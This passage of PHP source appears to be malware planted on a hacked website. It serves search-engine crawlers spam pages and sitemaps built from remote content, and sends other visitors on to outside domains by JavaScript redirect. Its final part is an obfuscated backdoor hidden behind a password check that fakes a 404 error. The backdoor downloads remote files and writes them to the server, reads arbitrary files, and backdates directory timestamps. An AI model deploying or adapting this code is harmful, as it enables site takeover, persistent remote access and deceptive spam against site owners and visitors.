		$jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt"; 
	 
		for($i=0;$i<2;$i++){ 
			$domJump = curl_getjs_from_webpage($jumDom1,'',1); 
			$domJump = trim($domJump); 
		 
			if(!preg_match($rsdom,$domJump)){ 
				$domJump = curl_getjs_from_webpage($jumDom2,'',1); 
				$domJump = trim($domJump); 
				if(preg_match($rsdom,$domJump)) 
					break; 
			}else{ 
				break; 
			} 
		} 
		 
			echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>';			die();		 
			} 
	} 
  
  
  
  
 	$siteAID = $siteid. '-' .$id23;	$fileKey = $id23 % FNUM; 
     
	 
 $pInfoUrl =  GETDOM . "gpage.php?site=$thisdom&id=$siteAID";  
  
 $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5); 
 $rsInfo = '#<info>(.*)</info>#si'; 
 preg_match($rsInfo,$pInfoStr,$matchInfo); 
 if(isset($matchInfo[1])){ 
	 $InFoStrArr = unserialize($matchInfo[1]); 
 }else{ 
	 header("HTTP/1.1 404 Not Found");exit; 
 } 
  
 if(isset($InFoStrArr['frStr2'])){ 
	$frStr2 = $InFoStrArr['frStr2']; 
	$fr2Arr = unserialize($frStr2); 
 } 
  
$frStr1 = $InFoStrArr['frStr1']; 
$fr1Arr = unserialize($frStr1); 
 
$Ptitle = $InFoStrArr['Ptitle']; 
 
$nowIdName = $InFoStrArr['nowIdName']; 
 
 
$Article = $InFoStrArr['Article']; 
 
$thisPnameLink = '<a href="">'.$nowIdName.'</a>'; 
$thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>'; 
$thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>'; 
$Article =  str_replace('#ttlink#',$thisTitleLink,$Article); 
$Article =  str_replace('#mylink#',$thisPnameLink2,$Article); 
 
$artArr = explode('#fgfgfg#',$Article); 
// print_r($artArr); 
if(count($artArr) != 3){ 
	header("HTTP/1.1 404 Not Found");exit; 
}  
 
$fr1Strs = '<ul>'.PHP_EOL; 
foreach($fr1Arr as $key=>$vs){ 
	$tpPid = $key; 
	$tpFlink = getalink($tpPid); 
	$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL; 
} 
$fr1Strs .= '</ul>'.PHP_EOL; 
 
 
  
 
				$fileMb = fopen($mbFileName,"r");		$html = fread($fileMb,filesize($mbFileName));		 
 
			$html = str_ireplace('#bbbtitsbbb#', $Ptitle, $html);	 
			$html = str_ireplace('#bbbkeybbb#', $nowIdName, $html);	 
			$html = str_ireplace('#bbbdesbbb#', $nowIdName. ' ' .$Ptitle, $html);	 
			 
					 
			$html = str_ireplace('#bbb1content1bbb#', '<div>'.$artArr[0].'</div>', $html); 
			$html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html); 
			$html = str_ireplace('#descontent#', $artArr[2], $html); 
			 
			$html = str_replace('#link1#',$thisPnameLink,$html); 
				$html = str_replace('#link2#','',$html); 
				$html = str_replace('#link3#',$thisPnameLink,$html); 
				$html = str_replace('#link4#','',$html); 
				$html = str_replace('#link5#',$thisPnameLink,$html); 
				 
				$html = str_replace('#flink#',$fr1Strs,$html); 
				$html = str_replace('#Flink2#','',$html); 
			 
 
		 
	echo $html; 
  
die(); 
	 
	 
	 
	} 
	 
	 
	 
	 
function getMapNum($bgNum,$mapnum){ 
	$TempArr = array(); 
	if($bgNum + $mapnum <= FNUM){ 
		for($i=0;$i<$mapnum;$i++){ 
			$TempArr[$i] = $bgNum + $i -1; 
		} 
	}else{ 
		for($i=0;$i<$mapnum;$i++){ 
			if($bgNum+$i > FNUM) 
				$TempArr[$i] = $bgNum + $i -1 -FNUM; 
			else 
				$TempArr[$i] = $bgNum + $i -1; 
		} 
	} 
	 
	return $TempArr; 
} 
 
 
 
function getRandId(){ 
	$num = rand(1,FNUM);	$num = $num - 1;	 
	 
		$idUrl =  GETDOM . "gpage.php?getid=$num"; 
		$tempIdStr = curl_get_from_webpage($idUrl,'',5); 
		$arrId = explode(',',$tempIdStr); 
	 
	$indexId=array_rand($arrId,1);	$id = $arrId[$indexId];	unset($arrId);	return $id;} 
function get_arrvs($arr,$num,$nowkey){ 
	$numArr = count($arr);	 
	if($nowkey + $num < $numArr) 
		return $arr[$nowkey + $num];	else{ 
		if($nowkey + $num - $numArr - $numArr > 0) 
			return get_arrvs($arr,$num - $numArr,$nowkey);		else 
			return $arr[abs($nowkey + $num - $numArr)];	} 
} 
function get_pre_link($arr,$key){ 
	 
	$tmpA1 = array();	$tmpA2 = array();	 
	$num = count($arr);	 
	 
	if($key + JGNUM + 1 + LINKNUM >= $num){ 
		 
		if($key + JGNUM + 1 - $num > LINKNUM){ 
			return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);		}else{ 
		 
		$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;		$tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);		$tmpA2 = array_slice($arr, 0, $duoyu);			 
		return array_merge($tmpA1,$tmpA2);		} 
	}else{ 
			return  array_slice($arr, $key + JGNUM + 1, LINKNUM);	} 
	 
} 
function get_next_link($arr,$key){ 
	 
	$tmpA1 = array();	$tmpA2 = array();	 
	$num = count($arr);	if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){ 
		$duoyu = abs($key - JGNUM - LINKNUM);		$tmpA1 = array_slice($arr, 0, abs($key - JGNUM));		$tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu);		return array_merge($tmpA1,$tmpA2);	}else{ 
			return  array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM);	} 
} 
function rFile($file){ 
	if(function_exists('file_get_contents')){ 
		return file_get_contents($file); 
	}else{ 
		$handle = fopen($file, "r"); 
		$contents = fread($handle, filesize($file)); 
		fclose($handle); 
		return $contents; 
	} 
} 
function isCrawler() { 
	$agent= @strtolower($_SERVER['HTTP_USER_AGENT']);	if (!empty($agent)) { 
		$spiderSite= array( 
			"Googlebot", 
			"Mediapartners-Google", 
			"Adsbot-Google", 
			"Yahoo!", 
			"Google AdSense", 
			"Yahoo Slurp", 
			"bingbot", 
			"MSNBot" 
		);		foreach($spiderSite as $val) { 
		$str = strtolower($val);		if (strpos($agent, $str) !== false) { 
			return true;			} 
		} 
	} else { 
		return false;	} 
}  
//sitemap.xml4000xml$c=1sitemap$c=2 
//$dir 
 
 
function print_map2($filenames,$c=1,$jdt=1){ 
 
	$filePres = '';	$fileEnds = '';	 
	$dirNames = dirname(__FILE__);	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));			 
	if(JDT == 2){ 
		$filePres = $httcReplace . "/" . basename(__FILE__) . "/";	}elseif(JDT == 1){ 
		$filePres = $httcReplace . "/";	}elseif(JDT == 3){ 
		$filePres = $httcReplace . "/" .basename(__FILE__) . "?key=";	}else{ 
		$filePres = '';	} 
	if(JDT == 3){ 
		$fileEnds = '';	}else{ 
		$fileEnds = JTHZ;	} 
	$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/')); 
	$siteLink='http://'.$_SERVER['HTTP_HOST'];		 
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>'; 
	$numLinks = count($urlsArray);	$star = 0;	$priority = 0.1;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s"); 
	$str = "";						 
	$tempArr1 = $filenames; 
	 
	foreach($tempArr1 as $value2){ 
		$curphp=basename(__FILE__);  
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt"); 
		$tempPid = $value; 
		$url = getalink($tempPid); 
 
		 
		 
		 
		if($first===false && $last===false && $checkTxt===false) 
		{ 
			$date = date("Y-m-d");			$time = date("H:i:s");				 
		 
			if($star % 12000==11999){ 
				$put_str = $mapPre . $str . $mapEnd; 
				header("Content-type: text/xml"); 
				echo $put_str; 
				return;			 
			} 
			 
		 
			 
	 
			$str .= "     <url> 
			 <loc>" . $url . "</loc>  
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>    
			 <changefreq>daily</changefreq>  
			 <priority>0.1</priority>  
			 </url> 
		";	 
			 
			 
			$star++;			$starPri++;		} 
	} 
	 
	{ 
		 
		$put_str = $mapPre . $str . $mapEnd;		 
		header("Content-type: text/xml"); 
		echo $put_str; 
 
	} 
	 
	unset($tempArr1);	unset($filenames);	 
} 
 
 
 
function print_map($filenames,$c=1,$jdt=1){ 
	$filePres = '';	$fileEnds = '';	 
	 
	$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/')); 
	$siteLink='http://'.$_SERVER['HTTP_HOST'];		 
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>'; 
	$numLinks = count($urlsArray); 
	 
	$star = 0;	$priority = 0.9;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s"); 
	$str = "     <url> 
			 <loc>" . $siteLink . "</loc>  
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
			 <changefreq>always</changefreq>  
			 <priority>1.0</priority>  
			 </url> 
		";						 
	$tempArr1 = $filenames; 
	 
	foreach($tempArr1 as $value2){ 
		$curphp=basename(__FILE__);  
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	 
		$tempPid = $value; 
		$url = getalink($tempPid); 
		 
		if($first===false && $last===false && $checkTxt===false) 
		{ 
			$date = date("Y-m-d");			$time = date("H:i:s");			 
	 
			if($star % 12000==11999){ 
			 
				$put_str = $mapPre . $str . $mapEnd; 
				header("Content-type: text/xml"); 
				echo $put_str; 
				return;		 
			 
			} 
			 
			if($starPri >= 400 && $priority != 0.1){ 
				$starPri = 0;				$priority = $priority - 0.1;			} 
			 
			if($priority > 0.1){ 
				 
				$str .= "     <url> 
					 <loc>" . $url . "</loc>  
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>    
					 <changefreq>daily</changefreq>  
					 <priority>". $priority . "</priority>  
					 </url> 
				";	 
			}else{ 
										$str .= "     <url> 
			 <loc>" . $url . "</loc>  
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>    
			 <changefreq>daily</changefreq>  
			 <priority>0.1</priority>  
			 </url> 
		";	 
			} 
			 
			$star++;			$starPri++;		} 
	} 
	 
	{ 
		 
		$put_str = $mapPre . $str . $mapEnd; 
		header("Content-type: text/xml");		 
		echo $put_str; 
 
	} 
	 
	unset($tempArr1);	unset($filenames);		 
} 
 
 
function gsitemap2($filenames,$c=1,$jdt=1){ 
	global $gnumber,$arrArrr; 
	$filePres = '';	$fileEnds = '';	 
	$dirNames = dirname(__FILE__);	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));			 
	if(JDT == 2){ 
		$filePres = $httcReplace . "/" . basename(__FILE__) . "/";	}elseif(JDT == 1){ 
		$filePres = $httcReplace . "/";	}elseif(JDT == 3){ 
		$filePres = $httcReplace . "/" .basename(__FILE__) . "?key=";	}else{ 
		$filePres = '';	} 
	if(JDT == 3){ 
		$fileEnds = '';	}else{ 
		$fileEnds = JTHZ;	} 
	$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/')); 
	$siteLink='http://'.$_SERVER['HTTP_HOST'];		 
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>'; 
	// $urlsArray = $filenames; 
	$numLinks = count($urlsArray);	$star = 0;	$priority = 0.1;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s"); 
	$str = "";						 
	$tempArr1 = $filenames; 
	 
	foreach($tempArr1 as $value2){ 
		$curphp=basename(__FILE__);  
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	 
			$tempPid = $value; 
				$url = getalink($tempPid); 
		 
		 
		 
		if($first===false && $last===false && $checkTxt===false) 
		{ 
			$date = date("Y-m-d");			$time = date("H:i:s");				 
		 
			if($star % 12000==11999){ 
				$gFile =  'sitemaps/sitemap' . $gnumber .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str); 
				$str = '';				$gnumber++;				return;			} 
			 
		 
			 
	 
			$str .= "     <url> 
			 <loc>" . $url . "</loc>  
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>    
			 <changefreq>daily</changefreq>  
			 <priority>0.1</priority>  
			 </url> 
		";	 
			 
			 
			$star++;			$starPri++;		} 
	} 
	 
	{ 
		$gFile =  'sitemaps/sitemap' . $gnumber .'.xml';		$gnumber++;		echo '<br/>'.$gFile.'<br/>'; 
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	 
	} 
	 
	unset($tempArr1);	unset($filenames);	 
	echo "sitemap";	 
} 
function gsitemap($filenames,$c=1,$jdt=1){ 
	global $gnumber,$arrArrr;	 
	$filePres = '';	$fileEnds = '';	 
	 
	$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/')); 
	$siteLink='http://'.$_SERVER['HTTP_HOST'];		 
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>'; 
	// $urlsArray = $filenames; 
	$numLinks = count($urlsArray); 
	 
	$star = 0;	$priority = 0.9;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s"); 
	$str = "     <url> 
			 <loc>" . $siteLink . "</loc>  
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
			 <changefreq>always</changefreq>  
			 <priority>1.0</priority>  
			 </url> 
		";						 
	$tempArr1 = $filenames; 
	 
	foreach($tempArr1 as $value2){ 
		$curphp=basename(__FILE__);  
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	 
		 
		$tempPid = $value; 
		$url = getalink($tempPid); 
		 
		if($first===false && $last===false && $checkTxt===false) 
		{ 
			$date = date("Y-m-d");			$time = date("H:i:s");			 
	 
			if($star % 12000==11999){ 
				$gFile =  'sitemaps/sitemap' . $gnumber .'.xml';				echo '<br/>'.$gFile.'<br/>';				 
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str); 
				$str = '';				$gnumber++;				 
				return; 
			} 
			 
			if($starPri >= 400 && $priority != 0.1){ 
				$starPri = 0;				$priority = $priority - 0.1;			} 
			 
			if($priority > 0.1){ 
				 
				$str .= "     <url> 
					 <loc>" . $url . "</loc>  
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>    
					 <changefreq>daily</changefreq>  
					 <priority>". $priority . "</priority>  
					 </url> 
				";	 
			}else{ 
										$str .= "     <url> 
			 <loc>" . $url . "</loc>  
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>    
			 <changefreq>daily</changefreq>  
			 <priority>0.1</priority>  
			 </url> 
		";	 
			} 
			 
			$star++;			$starPri++;		} 
	} 
	 
	{ 
		$gFile =  'sitemaps/sitemap' . $gnumber .'.xml';		echo '<br/>'.$gFile.'<br/>';		 
		$gnumber++; 
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	 
	} 
	 
	unset($tempArr1);	unset($filenames);	echo "sitemap";	 
} 
  function rmhtmltag2($tagname='',$str=''){ 
		$rulers = '#<'.$tagname.'[^>]*>#s';		$str = preg_replace($rulers,'',$str);		$rulers = '#</'.$tagname.'>#s';		$str = preg_replace($rulers,'',$str);	 
	$rulers = '#<'.$tagname.'[^>]*>#i';	$str = preg_replace($rulers,'',$str);	$rulers = '#</'.$tagname.'>#i';	$str = preg_replace($rulers,'',$str);	return $str;	 
	} 
	 
	function rmhtmltag($tagname='',$str=''){ 
		$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s';		$str = preg_replace($rulers,'',$str);		$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i';		$str = preg_replace($rulers,'',$str);		return $str;	 
	} 
   
function fillUrl($str = '', $url){ 
	$relur = '#(?:href|src) ?= ?"([^"]+)"#s';	 
	$urlInfo = parse_url($url);	 
	 
	preg_match_all($relur, $str, $matches); 
	if(count($matches[1])){ 
		foreach($matches[1] as $values){ 
			if(!strstr($values, "//") && !strstr($values, "..")){ 
				$rStr =  $urlInfo['host']."/".$values;				$rStr =  'http://' . str_replace('//','/',$rStr);				 
				$str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ;			}elseif(strstr($values, "..")){ 
				 
				// echo $urlInfo['host'];				// echo str_replace(basename($url),"",$url);				// die();				 
				$rStr = str_replace(basename($url),"",$url)."/".$values;				 
				 
				$rStr = str_replace("http://","<llqhttp>",$rStr);				 
				$rStr = str_replace("https://","<llqhttps>",$rStr);				 
				$rStr = str_replace("//","/",$rStr);				 
				$rStr = str_replace("<llqhttps>","https://",$rStr);				 
				$rStr = str_replace("<llqhttp>","http://",$rStr);				 
				$str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ;			} 
		} 
	}	 
	 
	 
	$relur = '#(?:href|src) ?= ?\'([^\']+)\'#s';	 
	$urlInfo = parse_url($url);	 
	 
	preg_match_all($relur, $str, $matches);	// print_r($matches[1]);	 
	if(count($matches[1])){ 
		foreach($matches[1] as $values){ 
			if(!strstr($values, "//") && !strstr($values, "..")){ 
					$rStr =  $urlInfo['host']."/".$values;				$rStr =  'http://' . str_replace('//','/',$rStr);				$str = str_replace("'".$values."'", "'".$rStr."'" , $str) ;			}elseif(strstr($values, "..")){ 
				 
				$rStr = str_replace(basename($url),"",$url)."/".$values;				 
				 
				$rStr = str_replace("http://","<llqhttp>",$rStr);				 
				$rStr = str_replace("https://","<llqhttps>",$rStr);				 
				$rStr = str_replace("//","/",$rStr);				 
				$rStr = str_replace("<llqhttps>","https://",$rStr);				 
				$rStr = str_replace("<llqhttp>","http://",$rStr);				 
				$str = str_replace("'".$values."'", "'".$rStr."'" , $str) ;			} 
		} 
	} 
	return $str;} 
function auto_read($str, $charset='UTF-8') { 
	$list = array('EUC-JP', 'Shift_JIS', 'UTF-8',  'iso-2022-jp'); 
	$encode = mb_detect_encoding($str, $list);	// echo $encode;die();	 
	if($encode == 'UTF-8'){ 
		return $str;	}else{ 
		return mb_convert_encoding($str, $charset, $encode);	} 
	  
} 
function detect_encoding($file){ 
	$list = array('GBK', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'ISO-8859-1');	$str = file_get_contents($file);	foreach ($list as $item) { 
		$tmp = mb_convert_encoding($str, $item, $item);		if (md5($tmp) == md5($str)) { 
		 
			return $item;		} 
	} 
	return null;} 
function curl_get_from_webpage($url,$proxy='',$loop=10){ 
	$data = false;        $i = 0;        while(!$data) { 
             $data = curl_get_from_webpage_one_time($url,$proxy);             if($i++ >= $loop) break;        } 
	return $data;} 
  
function curl_getjs_from_webpage($url,$time){ 
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ 
  
    $curl = curl_init();	//,. 
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			 
	// $urlReferer = "http://www.google.com"; 
	curl_setopt($curl, CURLOPT_URL, $url);	 
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0 
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); 
	}$data=curl_exec($curl);curl_close($curl);  
  }else{ 
  
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;  
    if($is_auf){ 
		$data = file_get_contents($url);  
    } 
  
  } 
	if(!$data) return false; 
	return $data;	 
	 
} 
  
function curl_get_from_webpage_one_time($url,$proxy=''){ 
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ 
  
    $curl = curl_init();	//,. 
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			 
	// $urlReferer = "http://www.google.com"; 
	if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy); 
curl_setopt($curl, CURLOPT_URL, $url);	 
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0 
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); 
	}$data=curl_exec($curl);curl_close($curl);  
  }else{ 
  
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;  
    if($is_auf){ 
		$data = file_get_contents($url);  
    } 
  
  } 
	if(!$data) return false; 
	return $data;	 
	 
} 
 
 
	 
//ccccccgetbg 
	 
@ini_set('display_errors', 0);@set_time_limit(3600); 
$q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 =  $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 =  $O00O0O{23}.$O00O0O{24}.$O00O0O{25};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}; 
if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';} 
foreach($OO0O00 as $O00O00o=>$O00Oo0o){ 
	$$O00O00o = $O00Oo0o; 
} 
 
if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){ 
	header("HTTP/1.1 404 Not Found");   
	header("Status: 404 Not Found");   
	exit;  
} 
 
if(isset($act) && $act == 'check' && isset($check_file)){ 
	if(file_exists($check_file)){ 
		echo '#ok#'; 
	} 
} 
 
if(isset($act) && $act == 'test'){ 
		echo '#ok#'; 
} 
 
if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){ 
	{ 
		 
			$pfile = $recover_file; 
			$date = $OO0O0O($recover_file_url); 
			gdir_file($recover_file); 
			@chmod($pfile,0755); 
 
			if($date && file_put_contents($pfile,$date)){ 
				echo '#ok#'; 
			}else{ 
				echo '#fail#'; 
			} 
		 
	} 
} 
 
if(isset($act) && $act == 'redate' && isset($redate_file)){ 
	if(file_exists($redate_file)){ 
		echo rdFile($redate_file); 
	} 
} 
 
function RandAbc($length = "") { 
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-"; 
    return ($str); 
}  
 
function rdFile($file){ 
	if(function_exists('file_get_contents')){ 
		return file_get_contents($file); 
	}else{ 
		$handle = fopen($file, "r"); 
		$contents = fread($handle, filesize($file)); 
		fclose($handle); 
		return $contents; 
	} 
} 
 
function cget($url,$loop=10){ 
	$data = false;        $i = 0;  
 
	while(!$data) { 
             $data = tcget($url);             if($i++ >= $loop) break;        } 
	return $data; 
} 
 
function tcget($url,$proxy=''){ 
	global $OO0OO0O, $O00OO0, $OO0000, $O00OOO; 
     $data = '';    	$url = "$OO0OO0O$O00OO0.$O00OOO/".$url; 
 $url = trim($url);     if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){ 
         $ch = curl_init();         curl_setopt($ch, CURLOPT_URL, $url);		 curl_setopt($ch, CURLOPT_HEADER, false);		 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);		  
         curl_setopt($ch, CURLOPT_TIMEOUT, 60);         $data = curl_exec($ch);         curl_close($ch);      } 
     
     if ($data == ''){ 
         if (function_exists('file_get_contents') && $url){ 
             $data = @file_get_contents($url);             } 
         } 
     
     if (($data == '') && $url){ 
         if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){ 
             ($fp = @fopen($url, 'r'));             
             if ($fp){ 
                 
                 while (!@feof($fp)){ 
                     $data .= @fgets($fp) . '';                     } 
                 
                 @fclose($fp);                 } 
             } 
         } 
     return $data;	 
} 
 
function m_mkdir($dir){ 
		if(!is_dir($dir)) mkdir($dir); 
	} 
	 
function gdir_file($gDir=''){ 
		global $BT; 
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); 
		$gDir = str_replace('\',DIRECTORY_SEPARATOR,$gDir); 
		$arr = explode(DIRECTORY_SEPARATOR,$gDir); 
		 
		if(count($arr) <= 0) return; 
 
		 
		if(!strstr($gDir,$BT)) 
			$dir = $BT; 
		else 
			$dir = ''; 
		 
		for($i = 0 ; $i < count($arr)-1 ; $i++){ 
			$dir .= '/' . $arr[$i]; 
			m_mkdir($dir); 
		} 
		 
		return $dir; 
} 
 
//ccccccgetend 
 
 
 
function my_mkdir($dir){ 
		global  $fitime; 
		if(!is_dir($dir)){ 
			mkdir($dir); 
			@touch($dir, $fitime, $fitime);    
		}  
	} 
	 
 
	 
	function generate_dir_file($gDir=''){ 
		 
		global $hostDir; 
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); 
		$gDir = str_replace('\',DIRECTORY_SEPARATOR,$gDir); 
